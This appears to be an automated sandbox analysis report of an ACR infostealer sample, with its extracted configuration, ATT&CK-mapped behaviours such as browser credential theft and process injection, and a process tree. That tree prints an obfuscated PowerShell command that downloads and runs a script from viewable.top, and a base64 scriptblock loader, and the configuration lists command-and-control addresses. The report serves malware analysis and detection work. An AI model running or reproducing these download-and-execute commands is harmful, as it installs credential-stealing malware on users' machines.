acrstealer | 8009bc3171a63c284f7b4704868a67f8860437bb1c4c1f38e4143bbc7bbfa196

Analysis

max time kernel
140s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/09/2026, 23:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
command.ps1
Size 106B
Sample260929-27fl4sydmc
SHA256 8009bc3171a63c284f7b4704868a67f8860437bb1c4c1f38e4143bbc7bbfa196
MD5 b1217bf193e4f837cafd844c9976128a
SHA1 f930cbf610b70f6b71b7c891040e7350568f303b
SHA512 054d196d61842761ff6ab3ad140b19dc4c47f768c3309664a730d36dcb6a407b1e255228e011972d594a2ab3e4956b43e06e850100afdc861cad57de6c8ccc0b
TLSH
T14CB0928092A12820658CBF15F020241126761084192B8BC6AA116AA0E0E94142486478
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.3-alpha1

metrics.palefox.cc

Decoy

fastly.net

Attributes

ddrs
https://telegra.ph/C-Introduction-08-21
guids
019fd84c-02e7-7a67-9097-4f73d632de4a

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 5556 created 4408	5556	rundll32.exe	81
PID 5556 created 4408	5556	rundll32.exe	81
PID 5556 created 4408	5556	rundll32.exe	81

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4504	PowerShell.exe
3	4504	PowerShell.exe
4	5932	powershell.exe
5	5556	rundll32.exe
6	5556	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4504	PowerShell.exe
5932	powershell.exe
3856	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	PowerShell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5332	chrome.exe
1672	msedge.exe

Checks processor information in registry 2 TTPs 13 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2251218687-1689653882-3767565116-1000\{72117827-B0CA-4D3F-BD47-FFC5B1376E86}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4504	PowerShell.exe
4504	PowerShell.exe
4504	PowerShell.exe
4504	PowerShell.exe
5932	powershell.exe
5932	powershell.exe
5932	powershell.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
5556	rundll32.exe
5556	rundll32.exe
5556	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
1988	msedge.exe
1988	msedge.exe
1988	msedge.exe
1988	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4504	PowerShell.exe
Token: SeDebugPrivilege	5932	powershell.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe
Token: SeShutdownPrivilege	2276	chrome.exe
Token: SeCreatePagefilePrivilege	2276	chrome.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
2276	chrome.exe
1988	msedge.exe
888	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 5932	4504	PowerShell.exe	91
PID 5932 wrote to memory of 5556	5932	powershell.exe	94
PID 5932 wrote to memory of 5556	5932	powershell.exe	94
PID 5556 wrote to memory of 2276	5556	rundll32.exe	95
PID 2276 wrote to memory of 3176	2276	chrome.exe	96
PID 2276 wrote to memory of 5332	2276	chrome.exe	97
PID 2276 wrote to memory of 4876	2276	chrome.exe	98
PID 2276 wrote to memory of 4876	2276	chrome.exe	98
PID 2276 wrote to memory of 924	2276	chrome.exe	99
PID 2276 wrote to memory of 924	2276	chrome.exe	99
PID 2276 wrote to memory of 6092	2276	chrome.exe	101
PID 2276 wrote to memory of 6092	2276	chrome.exe	101
PID 2276 wrote to memory of 4716	2276	chrome.exe	102
PID 2276 wrote to memory of 4716	2276	chrome.exe	102
PID 2276 wrote to memory of 4772	2276	chrome.exe	103
PID 2276 wrote to memory of 4772	2276	chrome.exe	103
PID 2276 wrote to memory of 1580	2276	chrome.exe	104
PID 2276 wrote to memory of 1580	2276	chrome.exe	104
PID 2276 wrote to memory of 5096	2276	chrome.exe	105
PID 2276 wrote to memory of 4268	2276	chrome.exe	107
PID 2276 wrote to memory of 4268	2276	chrome.exe	107
PID 2276 wrote to memory of 6016	2276	chrome.exe	108
PID 2276 wrote to memory of 6016	2276	chrome.exe	108
PID 2276 wrote to memory of 2960	2276	chrome.exe	111
PID 2276 wrote to memory of 5636	2276	chrome.exe	112
PID 2276 wrote to memory of 2960	2276	chrome.exe	111
PID 2276 wrote to memory of 52	2276	chrome.exe	113
PID 2276 wrote to memory of 5636	2276	chrome.exe	112
PID 2276 wrote to memory of 52	2276	chrome.exe	113
PID 2276 wrote to memory of 3496	2276	chrome.exe	114
PID 2276 wrote to memory of 4136	2276	chrome.exe	115
PID 2276 wrote to memory of 3496	2276	chrome.exe	114
PID 2276 wrote to memory of 4136	2276	chrome.exe	115
PID 2276 wrote to memory of 5340	2276	chrome.exe	139
PID 2276 wrote to memory of 5300	2276	chrome.exe	116
PID 2276 wrote to memory of 2252	2276	chrome.exe	118
PID 2276 wrote to memory of 5340	2276	chrome.exe	139
PID 2276 wrote to memory of 5300	2276	chrome.exe	116
PID 2276 wrote to memory of 2252	2276	chrome.exe	118
PID 2276 wrote to memory of 5260	2276	chrome.exe	119
PID 2276 wrote to memory of 5260	2276	chrome.exe	119
PID 2276 wrote to memory of 4904	2276	chrome.exe	120
PID 2276 wrote to memory of 2636	2276	chrome.exe	121
PID 2276 wrote to memory of 4904	2276	chrome.exe	120
PID 2276 wrote to memory of 2636	2276	chrome.exe	121
PID 5556 wrote to memory of 1988	5556	rundll32.exe	122
PID 1988 wrote to memory of 5128	1988	msedge.exe	123
PID 1988 wrote to memory of 1672	1988	msedge.exe	124
PID 1988 wrote to memory of 5132	1988	msedge.exe	125
PID 1988 wrote to memory of 5132	1988	msedge.exe	125
PID 1988 wrote to memory of 5132	1988	msedge.exe	125
PID 1988 wrote to memory of 4728	1988	msedge.exe	126
PID 1988 wrote to memory of 4728	1988	msedge.exe	126
PID 1988 wrote to memory of 4288	1988	msedge.exe	128
PID 1988 wrote to memory of 4288	1988	msedge.exe	128
PID 1988 wrote to memory of 2748	1988	msedge.exe	129
PID 1988 wrote to memory of 4288	1988	msedge.exe	128
PID 1988 wrote to memory of 2748	1988	msedge.exe	129
PID 1988 wrote to memory of 2748	1988	msedge.exe	129
PID 1988 wrote to memory of 724	1988	msedge.exe	130
PID 1988 wrote to memory of 724	1988	msedge.exe	130
PID 1988 wrote to memory of 724	1988	msedge.exe	130
PID 1988 wrote to memory of 4968	1988	msedge.exe	131
PID 1988 wrote to memory of 4968	1988	msedge.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:4408
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\command.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) 'https://viewable.top/install.ps1' | & (gcm i*x)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5932
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:5556
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc7c4ac728,0x7ffc7c4ac734,0x7ffc7c4ac740
    3⤵
    PID:3176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1484,i,15975375226400922579,1847236373732046518,524288 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,2113633105451316669,276725241144108247,262144 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:2
    3⤵
    PID:4876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2240,i,7441202166571552524,14911560694057697726,524288 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:13
    3⤵
    PID:924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,4601552381554016516,10424017314450003708,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:1
    3⤵
    PID:6092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,94785899514377979,11558583439602925318,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=3312 /prefetch:1
    3⤵
    PID:4716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4512,i,1129752431489993977,6133401562104667258,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=4580 /prefetch:1
    3⤵
    PID:4772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4724,i,6600848517108947838,9112559598494646129,524288 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:14
    3⤵
    PID:1580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5300,i,8513543457490899973,11252032665631591124,524288 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:14
    3⤵
    PID:5096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5368,i,12285672668997464654,9669770119556322503,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:1
    3⤵
    PID:4268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5416,i,17117908616531260076,10054381350612628517,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:1
    3⤵
    PID:6016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5592,i,3286681287731964342,11901519514701142555,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:1
    3⤵
    PID:2960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5716,i,15546312600604974599,820715965520053252,524288 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:14
    3⤵
    PID:5636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5408,i,5178919889778523548,5797501953475066545,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:1
    3⤵
    PID:52
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6172,i,10527454800201311268,11483997381065452695,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:1
    3⤵
    PID:3496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5640,i,11038431642744338584,7512774945371899767,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:1
    3⤵
    PID:4136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6188,i,12267601788188988408,14651419102518871733,524288 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
    3⤵
    PID:5300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6160,i,5843747341630815873,15460445352632140107,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:5340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6216,i,15226032474284597024,6751994273202187386,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:1
    3⤵
    PID:2252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6160,i,57635206846616055,16485868188068935421,524288 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14
    3⤵
    PID:5260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4664,i,5469563550906049242,9174578515958878690,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:1
    3⤵
    PID:4904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
